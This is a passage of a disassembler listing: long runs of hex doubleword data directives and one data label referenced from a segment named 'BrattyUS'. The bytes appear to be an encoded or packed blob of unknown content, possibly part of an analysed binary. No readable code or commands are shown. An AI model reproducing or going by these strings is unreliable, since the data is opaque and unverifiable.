0F1A2DD94h, 2539D1BBh, 5B882E2Eh, 2E6AD151h, 1188882Eh dd 0EA9C5AD4h, 0F1A2DD94h, 0DE39D1BBh, 1121946Fh, 5B9C5AD4h dd 916AD151h, 0D1259458h, 0C1DDA42Eh, 2C2D5458h, 2CD12E2Eh dd 0A92E2E2Eh, 2DD19052h, 0D1D1903Ah, 0D0D1D1D3h, 19D1545Ch dd 0C1D1D18Bh, 2C255458h, 645C2E2Eh, 0DD2E2C2Dh, 2C215458h dd 2CEA2E2Eh, 2C392E2Eh, 50392E2Eh, 2FD4893Dh, 9BB92E2Eh dd 0DDD1D18Bh, 1C39545Ch, 64D1D188h, 0DD2E2F25h, 2F0ED171h dd 2FBB2E2Eh, 2FE22E2Eh, 0D6392E2Eh, 2FB9D1D1h, 0DD392E2Eh dd 5C315458h, 0D62D3954h, 0DD2E2EBEh, 0BB095458h, 2E3139D1h dd 2B15522Eh, 2B522E2Eh, 2BD12E2Eh, 0BBD12E2Eh, 2E6039D1h dd 2B15522Eh, 2B5A2E2Eh, 0D0FA2E2Eh, 49D1D1D1h, 0D1D19017h dd 0DD1D1D3h, 0DDD1D189h, 8E39545Ch, 64D1D189h, 0DD2E2F25h dd 2B2F1E38h, 55FA2E2Eh, 0D1D19017h, 0ADD1D1D3h, 0DDD1D189h dd 2E39545Ch, 64D1D186h, 0DD2E2F25h, 0D12FBE38h, 2B52D8A5h dd 0A1FA2E2Eh, 0D1D19017h, 0C3D1D1D3h, 0DDD1D189h, 4439545Ch dd 64D1D186h, 0DD2E2F25h, 2B2FD438h, 8DFA2E2Eh, 0D1D19017h dd 6DD1D1D3h, 0DDD1D186h, 0EE39545Ch, 64D1D186h, 0DD2E2F25h dd 2B2C7E38h, 99FA2E2Eh, 0D1D19017h, 0B7D1D1D3h, 0DDD1D186h dd 3839545Ch, 64D1D187h, 0DD2E2F25h, 2B2C8838h, 0E5FA2E2Eh dd 0D1D19017h, 0C1D1D1D3h, 0DDD1D186h, 4239545Ch, 64D1D187h dd 0DD2E2F25h, 2B2CD238h, 0F1FA2E2Eh, 0D1D19017h, 6BD1D1D3h dd 0DDD1D187h, 0EC39545Ch, 64D1D187h, 0DD2E2F25h, 2B2D7C38h dd 2BFA2E2Eh, 3 dup(2B812E2Eh), 0D1812E2Eh, 2BD19017h dd 0F1392E2Eh, 675467DEh, 672B1554h, 672B1954h, 0B92B0154h dd 0D2D1D0D1h, 0CDD1D187h, 2B05545Ah, 1502E2Eh, 0C1D1D184h dd 6617E5B9h, 0DDD1D184h, 0EB39545Ch, 64D1D184h, 0DD2E2F25h dd 2B2A7B38h, 0A9FA2E2Eh, 2DD19052h, 2ED1903Ah, 0D3A4D12Eh dd 2E2ED1BBh, 2EF6392Eh, 0D128392Eh, 2E2ED1BBh, 2ED2392Eh dd 3930392Eh, 0D1D19014h, 21D1D1D3h, 0C1D1D185h, 0A239545Ch dd 64D1D185h, 0DD2E2F25h, 2B2B3238h, 14FA2E2Eh, 47B9D190h dd 0DDD1D185h, 0C839545Ch, 64D1D185h, 0DD2E2F25h, 0D1F6C1B9h dd 2F3D545Ch, 0C1812E2Eh, 2D655458h, 0DDD1903Ah, 0D17D642Eh dd 0DD2ED1BBh, 0B17D642Eh, 0D1D19014h, 7FD1D1D3h, 0C5D1D182h dd 0E039545Ch, 64D1D182h, 0DD2E2B65h, 8965642Eh, 0D1D19014h dd 0B7D1D1D3h, 0DDD1D182h, 3839545Ch, 64D1D183h, 0DD2E2F25h dd 2B288838h, 5FA2E2Eh, 0D1D19014h, 0DDD1D1D3h, 0DDD1D182h dd 5E39545Ch, 64D1D183h, 0DD2E2F25h, 2F3D545Ch, 0D1812E2Eh dd 62D1D1D3h, 0DDD1D183h, 0E739545Ch, 64D1D183h, 0DD2E2F25h dd 2FB9D0BBh, 99812E2Eh, 0F1D19014h, 59D19014h, 0C5D1900Ah dd 2BD239B9h, 0DDFA2E2Eh, 0D1D19014h, 0CBD1D1D3h, 0DDD1D183h dd 4C39545Ch, 64D1D180h, 0DD2E2F25h, 0F14D5B9h, 0DDD1D180h dd 0B039545Ch, 64D1D180h, 0DD2E2F25h, 0D525642Eh, 0E3D1D1D3h dd 0D1D9A42Eh, 0A4D1D1D3h, 2C4E39D9h dd 2C522E2Eh, 2CD12E2Eh, 5B2E2E2Eh, 0B02E2EB0h, 12D1D182h dd 46D1D181h, 0A4D1D181h, 0A4D439D9h, 2CA139D9h, 2CD12E2Eh dd 252E2E2Eh, 1A2E2EB1h, 5CD1D183h, 0F62FD154h, 0DDD1D181h dd 2BD1545Ch, 0A4D1D19Eh, 0A4B939D9h, 2C0239D9h, 2CD12E2Eh dd 8B2E2E2Eh, 0E02E2EB1h, 0D0D1D183h, 19121889h, 76D1D1D0h dd 0A8D1D1D0h, 0DDD1D19Eh, 0D0D9A42Eh, 0D1D1D1D1h, 0A4299416h dd 0DD8A3929h, 39BB2EBBh, 0C12EE567h, 91ED5458h, 0D1259458h dd 0A4BBC2A4h, 0DDD13921h, 0EABBF83Ah, 172E2EFBh, 8C5CD190h dd 0DD2E2E69h, 0D5D239B9h, 52D3A5D1h, 52D12DACh, 8881D511h dd 0C1D190CCh, 50841218h, 2EDC7D3Dh, 9C39812Eh, 0DD52D1D1h dd 0D1D9A42Eh, 2FBBD3BBh, 0C1812E2Eh, 2E5CD1BBh, 0DD39812Eh dd 2E5416B7h, 94D1D32Eh, 2FE9C42Eh, 0D5812E2Eh, 0D1B1545Ch dd 2E642ED1h, 2D2E812Eh, 2FD1903Ah, 2ED12E2Eh, 0DD39812Eh dd 2FBBD3BBh, 9D392E2Eh, 0DD52D1D1h, 0BB25642Eh, 2FD1BBD1h dd 0DD392E2Eh, 0D1D151B9h, 0D6B5545Ch, 0DDD1D19Dh, 2E4D5416h dd 2ED1D02Eh, 2 dup(2E52D12Eh), 2E3AD12Eh, 2E58912Eh, 2E545A2Eh dd 2E54EA2Eh, 5A555A2Eh, 2E254954h, 545C5A2Eh, 0A32E2575h dd 5154D190h, 23D1D1D1h, 0D1812E2Eh, 64D151B9h, 2E2E2F29h dd 2E6C522Eh, 2EA5D12Eh, 23A42E2Eh, 235C2E2Eh, 23912E2Eh dd 515A2E2Eh, 51D19016h, 0DDD19016h, 0BDA51154h, 0D1D19016h dd 2F2ED1BBh, 0DD392E2Eh, 2F417451h, 0D0B92E2Eh, 0DB45545Ch dd 0C1D1D19Bh, 23A15458h, 23522E2Eh, 23812E2Eh, 23512E2Eh dd 23EC2E2Eh, 23592E2Eh, 23D52E2Eh, 235B2E2Eh, 23592E2Eh dd 0D15C2E2Eh, 0DDB5545Ah, 0D125642Eh, 0D0D1D1D3h, 0B45545Ch dd 0C1D1D199h, 23BD5458h, 23522E2Eh, 23812E2Eh, 0DED12E2Eh dd 31D15B53h, 0C1D1903Ah, 2F55642Eh, 0DD812E2Eh, 8535545Ch dd 0B92E2E23h, 0C59016E1h, 0F52EF33Ah, 0D5D19016h, 2FD3A5D1h dd 52392E2Eh, 52D12DACh, 1481D511h, 0C1D190CCh, 80841218h dd 0D1B45280h, 915AD63Ah, 0EA2D9458h, 0D1A2DD94h, 63C1AC52h dd 0B9D1D1D1h, 979018B5h, 0DD52D1D1h, 5AD9945Ah, 17D4D994h dd 0B9D1D1D1h, 0DD90194Dh, 63D9945Ah, 0B9D1D1D1h, 5A901639h dd 0D1D4D994h, 582EDFA5h, 0A4AC52D0h, 180F39C9h, 525A8412h dd 2E52CD3Dh, 392ECDA4h, 0C92E2F57h, 0D13D9458h, 0CDE2D6A4h dd 701619B9h, 0D5901A49h, 0D29945Ch, 0C52E2E2Ch, 5AA51154h dd 0BBE23D94h, 0D5A42ED1h, 6635945Ch, 0C52E2E2Ch, 58A41154h dd 5B71D899h, 2E732594h, 2C392DA4h, 0C5522E2Eh, 59A51154h dd 0A252C399h, 0D2945AC4h, 5A5B3994h, 45D22D9Ch, 0D9D1D1D0h dd 2F39D5BBh, 2F522E2Eh, 0F1A42E2Eh, 65D19057h, 0ADD1D192h dd 0C9D1D1D0h, 61D1901Bh, 0DDD1D192h, 2E21945Ch, 0A4812E2Eh dd 0DD2539D9h, 50841218h, 3AD39D3Dh, 2CD1D190h, 2CD12E2Eh dd 2C912E2Eh, 2C5A2E2Eh, 0ABA2E2Eh, 11D1D190h, 0CC612EDDh dd 0DD2E2E83h, 2C5AF1BBh, 2CBA2E2Eh, 0DD2E2E80h, 9405545Ch dd 0E92E2E0Ch, 2C2E2E0Ch, 0D0812E2Eh, 7B29545Ch, 0C1D1D193h dd 0D12D9458h, 5C2EDFA4h, 0A42C2954h, 0DD7C39D9h, 0D118683Ah dd 0D13BB1B9h, 815CD5BBh, 18D9A42Eh, 805A8412h, 0D1B45280h dd 1129B452h, 0BB515AEBh, 0DD945AEBh, 18DDA42Eh, 505A8412h dd 0D0D0D53Dh, 76D9945Ah, 0A42E2EA3h, 0D92E39C1h, 0FAD19045h dd 2DD1D190h, 0A42E2E2Fh, 59A42EC5h, 0C9D1900Ah, 50841218h dd 2ED3813Dh, 0DD243981h, 5E69545Ch, 532E2E0Ah, 0D12E2E0Ah dd 525545Ch, 0DDD1D191h, 912DB452h, 0ED2D9458h, 0D138D4A4h dd 0D139B9D1h, 0DDD1D1D3h, 2C655458h, 0DD812E2Eh, 0D1D3D1B9h dd 0DD29A42Eh, 0D1B9C73Ah, 3F25545Ch, 0DDD1D1EEh, 2E2ECA38h dd 0A454882Eh, 0C1F139D9h, 8D2ED0BBh, 0D1D1D1D9h, 0DDDDA42Eh dd 26299458h, 26EA2E2Eh, 265A2E2Eh, 0D1812E2Eh, 522ED1BBh dd 64D025ACh, 522E2679h, 0A4D12DACh, 2E73392Dh, 0F715522Eh dd 12882E2Eh, 993D5A84h, 69D9945Ah, 0A4DCA4D1h, 0D1693969h dd 0A42EDCA4h, 0C13F392Dh, 0E02ED0BBh, 0DDD1D1ECh, 50D9A42Eh dd 0D12E2EC9h, 2E2EC2A4h, 2EE2882Eh, 175A812Eh, 0C12E2E77h dd 3981545Ch, 0D5D1ED7Ch, 39D3A5D1h, 872ECB94h, 39D190FCh dd 0DD2ECC16h, 0EDD07CB9h, 3A88D1D1h, 0D02EB9C5h, 58D1D1D5h dd 0D1522D94h, 2E50D8A5h, 0D0D1D12Eh, 39D1D1D5h, 0D5D1EE23h dd 0C5D190FFh, 80841218h, 0D1B45280h, 915AD63Ah, 0BA2D9458h dd 9052EB11h, 0BADED1D1h, 0BA5AEB11h, 0BA5AEB18h, 0BA58EB18h dd 0BA52EB11h, 0BA58EB18h, 9052EB11h, 0EAA4D1D1h, 0BAA52994h dd 0DD5AEB11h, 0A43BB1B9h, 0D1C42ED9h, 5F1FA9B9h, 2ED1D1EBh dd 0DD3921A4h, 81219458h, 0DD5E9DB9h, 81219458h, 0DD5E9DB9h dd 0DC259458h, 0DD1FB9B9h, 26DE1154h, 26D12E2Eh, 2E812E2Eh dd 0D13921A4h, 0DD0555DEh, 2EDE1154h, 0DD3921A4h, 39B9D7BBh dd 26D1ED22h, 0D6D02E2Eh, 391FE1B9h, 0C6D1ED1Ch, 0DDD1D1E9h dd 64D9A42Eh, 2E2E2F23h, 8FE8882Eh, 0DDD1D1E6h, 2E27545Ch dd 81812E2Eh, 29E6DA39h, 44D1D1E7h, 902E2F37h, 492E2E26h dd 0DDD1D1E7h, 65D9A42Eh, 2E2E2E94h, 2839812Eh, 28912E2Eh dd 285A2E2Eh, 0C5BA2E2Eh, 16D1D1E7h, 282E2E01h, 5A812E2Eh dd 11280554h, 0EB51D4EBh, 1105545Ah, 251D4EBh, 0DDD1D1E4h dd 2E7D545Ch, 139812Eh, 2E882E2Eh, 2C39812Eh, 2ED12E2Eh dd 2B5C812Eh, 28812E2Eh, 2C812E2Eh, 0EEBB2E2Eh, 2811E288h dd 2C812E2Eh, 0DD812E2Eh, 0D1A41154h, 2C39D1D1h, 2ED22E2Eh dd 2E11542Eh, 2C11542Eh, 2ED32E2Eh, 2C11542Eh, 2 dup(2CD22E2Eh) dd 2ED22E2Eh, 2 dup(2E54592Eh), 2E54172Eh, 2E51D02Eh, 4EBBD12Eh dd 2E2E2E26h, 2E545B2Eh, 2E54592Eh, 2B79B92Eh, 28812E2Eh dd 0F9812E2Eh, 78D1901Eh, 0C5D1D1E2h, 643279B9h, 2B2E2B23h dd 28812E2Eh, 9E812E2Eh, 0C92E2E4Ch, 2E796C52h, 2FA4D12Eh dd 0D5D12E2Eh, 0FACFA4D1h, 182D7554h, 2CD1D239h, 28812E2Eh dd 2C812E2Eh, 0DD812E2Eh, 9E21C9B9h, 2CD1D1E4h, 0DD812E2Eh dd 18443981h, 2FD1D239h, 2F912E2Eh, 2E522E2Eh, 0CF2E812Eh dd 0D5D190E2h, 64D3A5D1h, 2E2E287Dh, 2B5CD12Eh, 5C812E2Eh dd 0E52B2F54h, 0C12E2E4Ah, 2E75545Bh, 0D439B92Eh, 38D1D239h dd 2F2E2F05h, 0D1392E2Eh, 2854FAD1h, 49812E2Eh, 7FD1901Fh dd 0CD2E2E4Bh, 0E529A42Eh, 91DDAC52h, 0BA3D9458h, 0BADEEB11h dd 1CD4EB11h, 512E2E1Bh, 58D1D080h, 0D1522D94h, 5150D8A5h dd 51D1D080h, 52D1D080h, 1E325ACh, 3AD1D1D6h, 0D19416D6h dd 58D1D1D0h, 18522194h, 0D9D1D1D3h, 0DDD1D1D0h, 0DD2EDFBBh dd 5829945Ah, 58D0CB59h, 39D0CF59h, 0DDD1D1FFh, 5A21A42Eh dd 292E2994h, 5AD51152h, 4DDED994h, 0F5D190E5h, 50841218h dd 0F6D54D3Dh, 2ED1D1D2h, 0D139812Eh, 9BD19001h, 0DD2E2E49h dd 2E1D7452h, 5C52D12Eh, 0F02D0554h, 0DD2E2E95h, 2D299458h dd 2D912E2Eh, 2A522E2Eh, 2A912E2Eh, 2A5A2E2Eh, 90BA2E2Eh dd 11DED1D1h, 0A51D4EBh, 0DDD1D1FCh, 11A9545Ah, 0B051D4EBh dd 852E2E19h, 2E2E2E19h, 2ED1D32Eh, 2ED1D22Eh, 54D1D32Eh dd 2EDBA511h, 2ED1D22Eh, 2EA4D22Eh, 2ED1D32Eh, 59A4D22Eh dd 2A2AB954h, 0D0172E2Eh, 500EB451h, 5B2E2E21h, 2A2ABD54h dd 0C1812E2Eh, 9DA55458h, 9DD1D1D0h, 64D1D1D0h, 0DD2E2AB5h dd 0CFAD545Ah, 0A4D190E2h dd 1A01B929h, 0C12E2E44h, 812C6A38h, 0DD5E9DB9h, 2D299458h dd 5D2E2E2Eh, 0BCD1901Eh, 0C52E2E44h, 2E01642Eh, 5252392Eh dd 51D12DACh, 52D1D1D0h, 0DD81D511h, 0D4D072B9h, 0D1D1D055h dd 622DA42Eh, 0C1D190EDh, 50841218h, 76D2113Dh, 2ED1D1D0h dd 0DD39812Eh, 7FD9A42Eh, 2CD1D1FBh, 2C912E2Eh, 2C5A2E2Eh dd 11BA2E2Eh, 0AC51D4EBh, 0DD2E2EE8h, 0C239545Ch, 2F2E2E14h dd 2C812E2Eh, 0F3BA2E2Eh, 0E3D1D1FBh, 0DDD1D1FBh, 11546FDEh dd 2D7152EBh, 52812E2Eh, 52D12DACh, 8381D511h, 0C1D19091h dd 50841218h, 60D36D3Dh, 0A5D1D1D3h, 0DDD1D1F8h, 2ED9A42Eh dd 0D12F9F64h, 2C99545Ch, 0C1812E2Eh, 81299458h, 2C99545Ch dd 0D1812E2Eh, 24D19000h, 0C52E2E43h, 0EADE8F3Ah, 2C2F9F54h dd 19812E2Eh, 68D19001h, 0C12E2E43h, 2C5CF33Ah, 49812E2Eh dd 44D19001h, 0C12E2E43h, 5295642Eh, 51D12DACh, 60D1E73Fh dd 52D1D1D3h, 0B9D125ACh, 52D1D0D1h, 0DD81D511h, 0DD2ED7BBh dd 5825945Ah, 0D4D0DB59h, 0D1D1D0DFh, 1025A42Eh, 0C9D19090h dd 50841218h, 62D30D3Dh, 54D1D1D3h, 0DDD1D1F6h, 2ED9A42Eh dd 662F9D64h, 2C2F9554h, 2C812E2Eh, 0CD2E2E41h, 0D5946FDEh dd 0DEDEA4D1h, 66975C66h, 0DD812594h, 0D129A42Eh, 2CE5545Ch dd 0DD812E2Eh, 0B75E3981h, 52D1D0D4h, 0DE2CE16Ch, 2E975C66h dd 0D52E2E2Eh, 64D3A5D1h, 912E2CF9h, 2C2D9458h, 5D812E2Eh dd 2ED19000h, 5E39812Eh, 0C1522E2Eh, 39FD545Bh, 5CD1F466h dd 8C2F8154h, 0C92E2E5Eh, 0F929A42Eh, 0D1DDAC52h, 2E50D8A5h dd 52D1D12Eh, 0A7D12DACh, 58945AC3h, 5A5A3994h, 3A583994h dd 19416D6h, 58D1D1D6h, 0D1522594h, 0B150D8A5h, 1D1D13Bh dd 0D1D1D1D6h, 52D1D1D0h, 0DD81D511h, 0B72D945Ah, 0B13D9C5Ah dd 0B1D1D13Bh, 58D1D13Bh, 5A5A0D94h, 5A580D9Ch, 7258099Ch dd 0D4D1D1D0h, 2ED1D0C1h, 0DED0DD61h, 2DD75166h, 5AD51152h dd 61DED994h, 0F1D19092h, 52841218h, 2E16C13Dh, 0DD39DDA4h dd 0D12D9458h, 81E2D6A4h, 0DD5A85B9h, 0D12D9458h, 0E2E2D6A4h dd 5A9C5819h, 0AD912994h, 99945AD6h, 0FA259458h, 0DD5A2194h dd 0D12D9458h, 0F1E2D5A4h, 0BB3DB452h, 0D54DB9D1h, 81D1D1D0h dd 0D1D9A42Eh, 2EBBD1BBh, 2EA1DDC4h, 5DA1F9C4h, 0D5D19003h dd 0DDD9A42Eh, 51399458h, 39D19003h, 2D81152h, 0D5D1D1F0h dd 5CD1D1D0h, 52812594h, 0D3D435ACh, 815CE0A5h, 0DD0395B9h dd 0D552A9B9h, 0DE9459D0h, 3125946Fh, 76D1D1D4h, 2ED1D1D0h dd 0AA39812Eh, 2D2E2E2Fh, 2D392E2Eh, 902E2E2Eh, 0DD545CD1h dd 2DAD7452h, 0A9D12E2Eh, 1ED19052h, 2ED1D1F1h, 0D3A4D12Eh dd 2E2ED1BBh, 0DD69392Eh, 2EED642Eh, 2E5B392Eh, 2E6C502Eh dd 2ED1D12Eh, 2E54582Eh, 0D1D1BB2Eh, 2EED642Eh, 0DDB5392Eh dd 2E91545Ah, 2E81912Eh, 2E6C522Eh, 2EA4D12Eh, 2EF4392Eh dd 2E642E2Eh, 2ED0BB2Eh, 0C1C5392Eh, 2EED642Eh, 2E29392Eh dd 2E54D22Eh, 2EF1512Eh, 2E54582Eh, 2E61B92Eh, 2E23392Eh dd 7954582Eh, 2ED19002h, 711F392Eh, 2ED19002h, 4967392Eh dd 2ED19002h, 414F392Eh, 2ED19002h, 2E57392Eh, 2E545B2Eh dd 2E54592Eh, 0DD2BE164h, 2E6D545Ch, 0DD2BE964h, 2EED545Ch dd 0DD2BF964h, 2E9D545Ch, 0DDB9812Eh, 2EED545Ch, 0DD2BFD64h dd 2AED545Ch, 2D812E2Eh, 2D912E2Eh, 2BB92E2Eh, 2A812E2Eh dd 2E812E2Eh, 2D2E812Eh, 2EB92E2Eh, 0F139812Eh, 2E05545Ah dd 2EA9522Eh, 2EEE392Eh, 2E6C522Eh, 2EA4D12Eh, 2E11522Eh dd 2E8A382Eh, 2D27392Eh, 2D5A2E2Eh, 32E2E2Eh, 0C55CD190h dd 2E05642Eh, 3A13392Eh, 0D113183Bh, 523AD3A4h, 0CF81D511h dd 0C1D1909Bh, 2D691218h, 2ED1D1DEh, 0DD39812Eh, 0D1D9A42Eh dd 0C4D16C52h, 2E900E81h, 0D0D16C52h, 8021AC52h, 58B452D9h dd 0D121F554h, 8021AC52h, 2E9C52D9h, 2ED16C52h, 0DD39812Eh dd 243D7452h, 58512E2Eh, 5421D154h, 0C154DE11h, 7421645Ch dd 0C1747474h, 2ED19007h, 0D3C42E81h, 24D96C52h, 0D1812E2Eh dd 58C9545Ah, 2321CD54h, 3E582E2Eh, 2 dup(3E5A2E2Eh), 542E2E2Eh dd 0D254DE11h, 203D6C52h, 205A2E2Eh, 0D1812E2Eh, 2429545Ch dd 0D1812E2Eh, 2EC1545Ah, 206C522Eh, 20D12E2Eh, 54582E2Eh dd 2054DE11h, 0C4B92E2Eh, 2090A031h, 0D1582E2Eh, 20CD642Eh dd 24812E2Eh, 0D1812E2Eh, 2ED9545Ah, 0B56C522Eh, 0C4D1905Ah dd 0C490A031h, 0C490A12Dh, 2E90A12Dh, 2CC42E81h, 2C912E2Eh dd 2CDE2E2Eh, 2C812E2Eh, 2EB92E2Eh, 0C539812Eh, 0C40465B9h dd 0D190A0D9h, 0C4D1900Eh, 8E90A12Dh, 2DD1D1C7h, 99D19055h dd 0C4D1D1C7h, 0F790A12Dh, 2CD1D1C7h, 2C912E2Eh, 27B92E2Eh dd 64812E2Eh, 8D2E2C3Dh, 0C9D19004h, 0C40481B9h, 2190A0D9h dd 0B9812E2Eh, 9DD1D1C5h, 80D19004h, 0EBD1D1C5h, 9DD1D1C5h dd 0F3D19004h, 0C4D1D1C5h, 2E90A12Dh, 9DD1D1C2h, 39D19004h dd 0D1D1C2h, 0C4D1D1C2h, 2C90A1EDh, 2C912E2Eh, 21B92E2Eh dd 2C812E2Eh, 2EB92E2Eh, 0C539812Eh, 0D12F6438h, 2ED19004h dd 25C42E81h, 0EAD19005h, 0D0D1D1C2h, 5B9D1D1h, 0F15CD190h dd 3DD1D1C2h, 0D8D19005h, 20D1D1C2h, 90812E2Eh, 0C545CD1h dd 0DD1D1C3h, 17D19005h, 2CD1D1C3h, 2C912E2Eh, 2CB92E2Eh dd 2C812E2Eh, 90B92E2Eh, 0D1545CD1h, 0C4D1900Eh, 9C90A12Dh dd 9DD1D1C3h, 0E7D19004h, 0C4D1D1C3h, 0C590A12Dh, 2CD1D1C3h dd 2C912E2Eh, 27B92E2Eh, 64812E2Eh, 0E92E2C3Dh, 0C9D19005h dd 0D1D3D1B9h, 0A621545Ch, 0DDD1D1C0h, 0D1D3D1B9h, 0B0D5545Ch dd 0DDD1D1C0h, 0D3296738h, 203D6C52h, 0D05A2E2Eh, 24D96C52h dd 39592E2Eh, 2CD1D1D2h, 25A2E2Eh, 0C15CD190h, 2EC1642Eh dd 0D117392Eh, 8021AC52h, 2E9C52D9h, 0B5D16C52h, 90D1DC58h dd 76A4D1D1h, 52D1D1D0h, 52D12DACh, 0D181D511h, 252DA42Eh dd 0C1D1909Fh, 80841218h, 522D9C58h, 5AA5D1E9h, 80D85AD8h dd 91218D9h, 76D1D1D4h, 4D1D1D0h, 0DDD1D1DEh, 2AD9A42Eh dd 2AD12E2Eh, 55D12E2Eh, 0DDD19006h, 0A1A41154h, 0B5D19006h dd 2AD19006h, 0BBD02E2Eh, 0BBF5B9D1h, 2ADDB9D1h, 2AD02E2Eh dd 2A542E2Eh, 2AD12E2Eh, 0ADD12E2Eh, 86D19007h, 0CD2E2EA6h dd 5299642Eh, 52D12DACh, 0D181D511h, 0B12DA42Eh, 0C1D1908Ah dd 80841218h, 912DB452h, 2D9458h, 0DD9C5A31h, 0A51154h dd 9C5A31h, 0DD9C5A31h, 0D0A51154h, 0CAD53A89h, 0DD522E2Eh dd 4 dup(0DDA51154h), 0D1A51154h, 169B39D1h, 0DDD1D1DAh dd 38D9A42Eh, 38262E2Eh, 38BB2E2Eh, 2E392E2Eh, 0C4D1D1D1h dd 0C490A3B1h, 3890A3EDh, 0C1392E2Eh, 2E5CD1BBh, 0C139812Eh dd 6469545Ch, 382E3E65h, 0D4392E2Eh, 0D116D1D1h, 0D55CD1BBh dd 2E61545Ch, 383E6564h, 0D4392E2Eh, 385CD1D1h, 0D1522E2Eh dd 3821642Eh, 0CE2E2E2Eh, 0C12E2EA5h, 165D7451h, 422E2EBCh dd 622E2F32h, 0EB2E2EBCh, 0C42E2F35h, 0D290A395h, 0B6D1D1DBh dd 5F2E2EBCh, 6F2E2F32h, 0D1D1D1D8h, 64C1F9B9h, 382E3E65h dd 0D5522E2Eh, 38D4A5D1h, 385B2E2Eh, 5A5C2E2Eh, 395C2D94h dd 38D1D941h, 38DE2E2Eh, 2 dup(385A2E2Eh), 392E2E2Eh, 0C12E2AF8h dd 0D2DE1154h, 5 dup(0D2379954h), 0D237995Ch, 0D2379954h dd 0D2398554h, 0D137995Ch, 38D1D1D0h, 0AC2E2E2Eh, 0DD2E2EC4h dd 38D0D1B9h, 2E2E2E2Eh, 0DD39812Eh, 909545Ah, 5C2E2E38h dd 0C7398954h, 0C9D1D1D7h, 0D19D5458h, 0A454FAD1h dd 32545A2Dh, 0DD2E2EC5h, 5C89545Ch, 603A2554h, 0DD2E2EBEh dd 38D239B9h, 0D5522E2Eh, 0D1D4A5D1h, 2E54FAD1h, 2E545A2Eh dd 0D254EA2Eh, 39398154h, 0DD812E2Eh, 5C89545Ch, 0ED3A2554h dd 0DD2E2EBEh, 38D239B9h, 0D5522E2Eh, 2ED3A5D1h, 2EAED42Eh dd 385C3A2Eh, 0DD392E2Eh, 0D1D27AB9h, 5A38D4A4h, 0D158299Ch dd 0D1D1900Eh, 5AD1D1D3h, 5F522D94h, 0DD2E2EC2h, 0D4D072B9h dd 2ED1D3D9h, 0B8B9D5A1h, 0C5D1908Eh, 80841218h, 0D152A9B9h dd 392EDFA5h, 52D1D59Ch, 0D12ED190h, 39BB91A5h, 39D1D5D2h dd 18D1D225h, 0BB5A8412h, 9049B92Eh, 0D170B5D1h, 778080D1h dd 0D3D1D1D2h, 0F1D1D1D2h, 39097452h, 0C4D1D1D2h, 0C190A129h dd 0A10B29B9h, 0B981D190h, 2903A2Dh, 39D1D1D0h, 2ED1D0A1h dd 0DDA3B5C4h, 3EF9CA39h, 0D0D12E2Eh, 0B1D1D1D1h, 0EFD1D13Bh dd 3E2E2F3Bh, 3EC82E2Eh, 39C52E2Eh, 3E2EBDBCh, 3E912E2Eh dd 723A2E2Eh, 852E2EB5h, 0DD2E2F38h, 3F0D5458h, 3FD12E2Eh dd 0D12E2E2Eh, 552E9D38h, 0A52E2EAFh, 0C9D1900Fh, 39D19012h dd 0DD2F1985h, 0D1B45A12h, 0BD2EE338h, 0C9D1900Fh, 39D19012h dd 0DD2F19E3h, 2EB45A12h, 65D9EC52h, 0A0D190A0h, 1D2ED190h dd 1D1D1D1Dh, 541D1D1Dh, 0A0305AD0h, 0A02ED190h, 1D1DD190h dd 2 dup(1D1D1D1Dh), 1D5A821Dh, 3 dup(1D1D1D1Dh), 26828786h dd 9D215A20h, 2ED190A0h, 0F570B581h, 0F558B5DDh, 1DBD5CDDh dd 1D1D1D1Dh, 0D1D1BB1Dh, 0A0A51154h, 2E54D190h, 0C139D9A4h dd 1E5CD1BBh, 20D1D1D1h db 2 dup(2Eh), 39h byte_3FD84B db 5Ch ; DATA XREF: BrattyUS:003DF438o dd 0BBD27154h, 52D190D1h, 0CF823AD3h, 9458545Ch, 3D503D29h dd 0D0D1D151h, 9458D1D1h, 0D1D1D32Dh, 0A42E2E2Fh, 0D1B9B9F5h dd 0D1D1D0D1h, 0D329545Ch, 1218D1D1h, 0D37DB984h, 0F25467DEh dd 642E545Ch, 0D1D08985h, 88C42ED1h, 0C42E1154h, 2EFF3845h dd 8999545Ah, 0B9A1545Ah, 0D1D19D39h, 835467DEh, 545C39B9h dd 9051298Ch, 182E2E2Eh, 0AC52D513h, 0D1D37DDDh, 0D088D1D0h dd 0D08288D1h, 969B39D1h, 0A567DE88h, 0D1AC9050h, 3D5A84D1h dd 0DAFAD1D0h, 5075945Ah, 0B9C63A90h, 0D1121888h, 90A1C42Eh dd 2FF939D1h, 2188D1D1h, 90A1900Fh, 0D1BBC1D1h, 0D1017452h dd 0B9D1D1BBh, 0D190A1D1h, 0D12CD139h, 0D1D088D1h, 0D1D3D1D1h dd 38D1D3D1h, 1138D0DAh, 0C42EDBD1h, 38545ADDh, 803D2F5Ah dd 5888D12Eh, 0E2D190A1h, 53FD3A11h, 0D1D27690h, 39D1D3D1h dd 0B98890ACh, 0A42ED0C9h, 0D1B9FA3Ah, 50258888h, 12188890h dd 5890537Dh, 642ECD54h, 0D1F6C1F1h, 0D1CD642Eh, 0B9D188D1h dd 0D190A3D1h, 0A36C50DDh, 0D09AD190h, 0F5CD0CD1h, 9BF1642Eh dd 545CD1D0h, 5AE23A90h, 3A5ACFA4h, 0BBD33AD3h, 0D1D5D0D1h dd 5989C42Eh, 8188D1C2h, 0D5545839h, 0A4CD642Eh, 52A9D1D1h dd 0C5545890h, 0FBD5642Eh, 0BBD3D1D1h, 0D190A3D1h, 99D190A3h dd 54589052h, 6C52D839h, 2ED1D099h, 3AD3CD64h, 0C73AD3BBh dd 0F5E8D1D0h, 642E3D39h, 0CD642EC5h, 3D88D1D1h, 24383D52h dd 0D1D097D1h, 788D1D0h, 2EF0D1D2h, 947939A4h, 39A42ED7h dd 0D0729443h, 94B639D1h, 0D79052ADh, 0A63AAC52h, 950D39B9h dd 0D1905271h, 0D1D252D1h, 2D545CD1h, 586C52D8h, 642E2154h dd 2554583Dh, 2E356C52h, 0D1FA3D64h, 6C52FDD1h, 0C2545AC1h dd 5ADA642Eh, 90537D94h, 2E395458h, 0D0BB3D64h, 945AF82Eh dd 0D0D1D093h, 0F6C13889h, 6C52D8D1h, 0D0D1D090h, 0D27E3A89h dd 0A97452D1h, 0A1545CD1h, 0C42ED190h, 545AC8B5h, 0D4E95416h dd 545CD1D1h, 0E554161Eh, 5C99B9D7h, 54161F54h, 54E9B9E5h dd 0D6D15738h, 545CE1B9h, 0E554161Eh, 2D5F54DEh, 54589055h dd 545AF4CDh, 9AD1D151h, 0D43AD1D1h, 0A9545838h, 39A9545Ah dd 642EEA15h, 0ED545C15h, 5C15642Eh, 642EED54h, 0ED545C15h 